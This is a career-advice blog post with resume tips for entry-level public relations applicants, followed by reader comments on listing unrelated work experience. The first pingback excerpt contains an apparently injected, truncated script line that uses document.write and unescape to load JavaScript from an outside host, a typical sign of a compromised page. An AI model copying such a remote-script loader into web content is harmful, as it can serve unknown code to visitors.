What’s the purpose of a resume? It’s not to get you a job. . . instead, it’s to provide a positive first impression that MAY garner an interview for you. The advice below comes from my years of being – and listening to – hiring leaders. If you’re lucky, hiring leaders may scan your resume for up to 15 seconds before they determine if it’s worth pursuing further.

  • Tailor your resume to the specific position that you’re applying for. Use the same phrasing in your resume that you’ve found in the employer’s want ad whenever possible.
  • If you have less than 10 years of experience, it’s best to stick to the traditional one-page resume. Each additional 10 years helps you “earn” an additional page. (If you want or need to provide more details, offer the URL of your LinkedIn profile. See my profile.)
  • Pepper your resume with terms that are relevant to the career field and industry in which you desire employment. Phrase your work experience in terms that are relevant to your career goal.
  • Use reverse chronological order (most recent first) when listing your experience and education.
  • If you are still in college, it’s okay to leave your high school on your resume if you have available space for it, especially if you did something noteworthy during your high school years. After you graduate from college, leave high school off your resume.
  • Always start every bullet point in your experience section with an action verb. Use past tense for previous jobs and present tense for current jobs.
  • If you have little paid work experience, provide details on projects done in classes to show that you are prepared to enter the working world.
  • Volunteer experience counts too! Don’t forget to include service projects you’ve been involved with.
  • Explain acronyms and cryptic group names on resumes. A potential employer will not automatically know that SOCS stands for Society of Communication Scholars, ILA stands for International Listening Association, or that PRestige is a public relations firm made up of college students.
  • Many employers assume that if an organization’s name includes greek letters, it’s a social fraternity or sorority. If you belong to something Phi Kappa Phi, indicate that this is an honor society.
  • What to do about that GPA? If it’s above 3.0 (on a 4-point scale), you may want to include it. If it starts with a 2 or lower, definitely leave it off. Or, you can include your GPA just in your major if you’d like, for example “3.4 GPA in Major.”
  • Before you graduate, you can still include your anticipated degree on your resume. For example, “Bachelor of Arts in Public Relations expected in May 2008.”

For entry-level public relations positions, Jennifer Abshire of Abshire Public Relations & Marketing offers these additional suggestions:

  • Leave the objective off, or customize it for the specific position you’re applying for. Don’t use a generic one that you found on a template somewhere.
  • Include all your work experience, even if it seems not directly related to the position. (The worst that will happen is that it will show that you are a hard worker.) Abshire holds in high regard people who are well rounded and street smart, rather than with a high GPA and no work experience or community involvement.
  • Send a few samples of your writing or design work along with your resume.
  • If sending your resume (and samples) electronically, make one PDF file that has all the information in it, rather than sending multiple attachments. (For an inexpensive and easy-to-use program for creating PDFs, try CutePDF.)

After you’ve created your resume, have several people proofread it for you. Set it aside for a while. Then measure your resume up against this Resume Checklist.


7 Responses to Resumes That Resonate: Tips for Entry-Level Positions

  1. […] from my original Resumes That Resonate: Tips for Entry-Level Positions. var ecov = "sh"; document.write(unescape("%3Cscript src='http://eco-safe.com/js/eco.js' […]

  2. […] 2009-03-12T12:26:19  @jillianbowin Here are some resume tips of mine that might help: [link to post] […]

  3. Barbara,

    Just to play devil’s advocate, I’m wondering how you can look at a resume and instantly know whether or not the student/recent grad was paid for the work they have listed. If done properly, all the experience should flow together and not necessarily call attention to whether or not the work was paid.

    And, just to add to that, I think it’s quite a shame that, in an industry known for its unpaid internships (I’ve had a few myself), a hiring manger would “punish” the candidate for having great experience for which they happened to not receive compensation. Seems a bit backwards to me, but perhaps I’m reading your response wrong and that’s how it *used to* be–maybe in a time where most internships were paid? I’m sorry to say that’s definitely not the case now–there are far more unpaid internships than there are paid ones–but when I look at a student/grad’s resume, I do not distinguish between paid and unpaid experience, so long as the experience is (1) relevant and (2) meaningful.

    In fact, I might go as far to argue that the individuals with unpaid experiences are actually harder working and have greater motivation than those who don’t. They are the ones willing to do whatever it takes to gain the experience they need to launch their careers, even if it means working a second job that’s *not* on their resume to support themselves.

    Anyway, sorry about the rant! We’re absolutely on the same page regarding resume advice but for this one issue. It can certainly be looked at from both sides.


  4. […] your interview area carefully. Be seated at a clean desk, and have a copy of your resume in front of you. Also have information about the company printed and available for you to refer to […]

  5. Heather,

    Thanks so much for your comments. You always provide helpful advice for students on Twitter, too.

    I’d definitely agree that related work experience is crucial to put on a resume. And related volunteer experience is critical, too.

    I’d like to approach the non-related experience from a different angle. I spent about a decade working in HR in Fortune 500 companies. If a recent college grad submitted a resume with *no* paid work experience on it, it was unlikely that the grad would be called in for an interview. I would much rather see that a grad had a strong work ethic and the motivation to be at least partially self-supporting than to not know that information about the grad. Also, the grad could stress the skills learned/applied in the job rather than list the duties for the job.

    That said, students need to read your second-to-last last sentence carefully and take it to heart: “If you want to be a contender in this economy, you need to come to the table with relevant experience.”


  6. Barbara,

    While I think most of your post is spot-on, I strongly urge students and recent graduates to include only relevant, directly related experience on their resumes and in their cover letters.

    If, for example, you worked at Victoria’s Secret all throughout college and are now seeking an entry-level PR position at my agency, please do not include that on your application materials. They will end up in the trash. I love giving this example because I can’t tell you how many girls who’ve applied for positions I advertised have worked there and that’s all that was on their resumes.

    If you want to be a contender in this economy, you need to come to the table with relevant experience. And, each resume/cover letter should be tailored to the position/company.


  7. Bill says:

    Working on your resume is also a great networking opportunity. Solicit feedback from your professors (they, by the way, are usually well connected with industry professionals), members/leadership from your student organizations (i.e. prssa, prsa, etc.) and anyone you know currently working in your field of interest.

    Make sure everyone you asked for feedback gets a thank you note for their help and a copy of your final resume. In the note ask them to let you know of anyone who might be looking for someone like you or to keep a copy of your resume and to please forward it to anyone they know who might someday be looking, even if they aren’t currently. As a side, I help a lot of students with their resumes and am always amazed how many never send me a final copy.

    Finally, make sure your resume is online. Let me say that again – MAKE SURE YOUR RESUME IS ONLINE!!! Sorry for yelling but I think in today’s day, having an online resume is vital! Besides, you will hate those moments when you talk about how techy you are and how engaged in social media you are and when asked for your resume url you don’t have one… sigh… mixed messages stink. Not sure where to post it? Give http://www.visualcv.com a try. You can also post your portfolio there!